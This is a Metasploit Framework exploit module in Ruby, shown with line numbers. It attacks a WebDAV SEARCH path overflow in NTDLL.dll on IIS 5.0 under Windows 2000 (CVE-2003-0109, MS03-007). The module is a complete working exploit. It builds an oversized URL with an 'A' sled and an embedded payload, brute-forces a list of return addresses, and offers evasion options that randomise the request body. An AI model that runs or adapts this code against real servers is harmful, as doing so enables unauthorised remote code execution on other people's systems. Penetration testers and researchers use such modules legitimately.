root / modules / exploits / windows / iis / ms03_007_ntdll_webdav.rb @ master
History | View | Annotate | Download (4.7 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = GreatRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::HttpClient |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow', |
| 22 |
'Description' => %q{ |
| 23 |
This exploits a buffer overflow in NTDLL.dll on Windows 2000 |
| 24 |
through the SEARCH WebDAV method in IIS. This particular |
| 25 |
module only works against Windows 2000. It should have a |
| 26 |
reasonable chance of success against any service pack. |
| 27 |
},
|
| 28 |
'Author' => [ 'hdm' ], |
| 29 |
'License' => MSF_LICENSE, |
| 30 |
'Version' => '$Revision$', |
| 31 |
'References' =>
|
| 32 |
[ |
| 33 |
[ 'CVE', '2003-0109'], |
| 34 |
[ 'OSVDB', '4467'], |
| 35 |
[ 'BID', '7116'], |
| 36 |
[ 'MSB', 'MS03-007'] |
| 37 |
], |
| 38 |
'Privileged' => false, |
| 39 |
'Payload' =>
|
| 40 |
{
|
| 41 |
'Space' => 512, |
| 42 |
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", |
| 43 |
'StackAdjustment' => -3500, |
| 44 |
}, |
| 45 |
'Platform' => 'win', |
| 46 |
'Targets' =>
|
| 47 |
[ |
| 48 |
[ 'Automatic Brute Force', { } ],
|
| 49 |
], |
| 50 |
'DisclosureDate' => 'May 30 2003', |
| 51 |
'DefaultTarget' => 0)) |
| 52 |
|
| 53 |
register_evasion_options( |
| 54 |
[ |
| 55 |
OptBool.new('invalid_search_request', [false, 'Replace the valid XML search with random data', 'false']), |
| 56 |
|
| 57 |
# XXX - ugh, there has to be a better way to remove entries from an
|
| 58 |
# enum that overwriting the evalable enum option
|
| 59 |
OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none','hex-normal'], 'none']) |
| 60 |
], self.class
|
| 61 |
) |
| 62 |
|
| 63 |
deregister_options('HTTP::junk_params', 'HTTP::header_folding') |
| 64 |
end
|
| 65 |
|
| 66 |
def autofilter |
| 67 |
# Common vulnerability scanning tools report port 445/139
|
| 68 |
# due to how they test for the vulnerability. Remap this
|
| 69 |
# back to 80 for automated exploitation
|
| 70 |
|
| 71 |
rport = datastore['RPORT'].to_i
|
| 72 |
if ( rport == 139 or rport == 445 ) |
| 73 |
rport = 80
|
| 74 |
end
|
| 75 |
|
| 76 |
true
|
| 77 |
end
|
| 78 |
|
| 79 |
def check |
| 80 |
url = 'x' * 65535 |
| 81 |
xml = |
| 82 |
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
|
| 83 |
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
|
| 84 |
|
| 85 |
response = send_request_cgi({
|
| 86 |
'uri' => '/' + url, |
| 87 |
'ctype' => 'text/xml', |
| 88 |
'method' => 'SEARCH', |
| 89 |
'data' => xml
|
| 90 |
}, 5)
|
| 91 |
|
| 92 |
|
| 93 |
if (response and response.body =~ /Server Error\(exception/) |
| 94 |
return Exploit::CheckCode::Vulnerable |
| 95 |
end
|
| 96 |
|
| 97 |
# Did the server stop acceping requests?
|
| 98 |
begin
|
| 99 |
send_request_raw({'uri' => '/'}, 5)
|
| 100 |
rescue
|
| 101 |
return Exploit::CheckCode::Vulnerable |
| 102 |
end
|
| 103 |
|
| 104 |
return Exploit::CheckCode::Safe |
| 105 |
end
|
| 106 |
|
| 107 |
def exploit |
| 108 |
# verify the service is running up front
|
| 109 |
send_request_raw({'uri' => '/'}, 5)
|
| 110 |
|
| 111 |
# The targets in the most likely order they will work
|
| 112 |
targets = |
| 113 |
[ |
| 114 |
# Almost Targetted :)
|
| 115 |
"\x4f\x4e", # =SP3 |
| 116 |
"\x41\x42", # ~SP0 ~SP2 |
| 117 |
"\x41\x43", # ~SP1, ~SP2 |
| 118 |
|
| 119 |
# Generic Bruteforce
|
| 120 |
"\x41\xc1",
|
| 121 |
"\x41\xc3",
|
| 122 |
"\x41\xc9",
|
| 123 |
"\x41\xca",
|
| 124 |
"\x41\xcb",
|
| 125 |
"\x41\xcc",
|
| 126 |
"\x41\xcd",
|
| 127 |
"\x41\xce",
|
| 128 |
"\x41\xcf",
|
| 129 |
"\x41\xd0",
|
| 130 |
] |
| 131 |
|
| 132 |
xml = |
| 133 |
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
|
| 134 |
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
|
| 135 |
|
| 136 |
if datastore['invalid_search_request'] == true |
| 137 |
xml = rand_text(rand(1024) + 32) |
| 138 |
end
|
| 139 |
|
| 140 |
# The nop generator can be cpu-intensive for large buffers, so we use a static sled of 'A'
|
| 141 |
# This decodes to "inc ecx"
|
| 142 |
|
| 143 |
url = 'A' * 65516 |
| 144 |
url[ url.length - payload.encoded.length, payload.encoded.length ] = payload.encoded |
| 145 |
|
| 146 |
targets.each { |ret|
|
| 147 |
|
| 148 |
print_status("Trying return address 0x%.8x..." % Rex::Text.to_unicode(ret).unpack('V')[0]) |
| 149 |
url[ 283, 2 ] = ret |
| 150 |
|
| 151 |
begin
|
| 152 |
send_request_cgi({
|
| 153 |
'uri' => '/' + url, |
| 154 |
'ctype' => 'text/xml', |
| 155 |
'method' => 'SEARCH', |
| 156 |
'data' => xml
|
| 157 |
}, 5)
|
| 158 |
handler |
| 159 |
rescue => e
|
| 160 |
print_error("Attempt failed: #{e}")
|
| 161 |
end
|
| 162 |
|
| 163 |
1.upto(8) { |i| |
| 164 |
select(nil,nil,nil,0.25) |
| 165 |
return if self.session_created? |
| 166 |
} |
| 167 |
|
| 168 |
if !service_running?
|
| 169 |
print_error('Giving up, IIS must have completely crashed')
|
| 170 |
return
|
| 171 |
end
|
| 172 |
} |
| 173 |
end
|
| 174 |
|
| 175 |
# Try connecting to the server up to 20 times, with a two second gap
|
| 176 |
# This gives the server time to recover after a failed exploit attempt
|
| 177 |
def service_running? |
| 178 |
print_status('Checking if IIS is back up after a failed attempt...')
|
| 179 |
1.upto(20) {|i| |
| 180 |
begin
|
| 181 |
send_request_raw({'uri' => '/'}, 5)
|
| 182 |
rescue
|
| 183 |
print_error("Connection failed (#{i} of 20)...")
|
| 184 |
select(nil,nil,nil,2) |
| 185 |
next
|
| 186 |
end
|
| 187 |
return true |
| 188 |
} |
| 189 |
return false |
| 190 |
end
|
| 191 |
|
| 192 |
end
|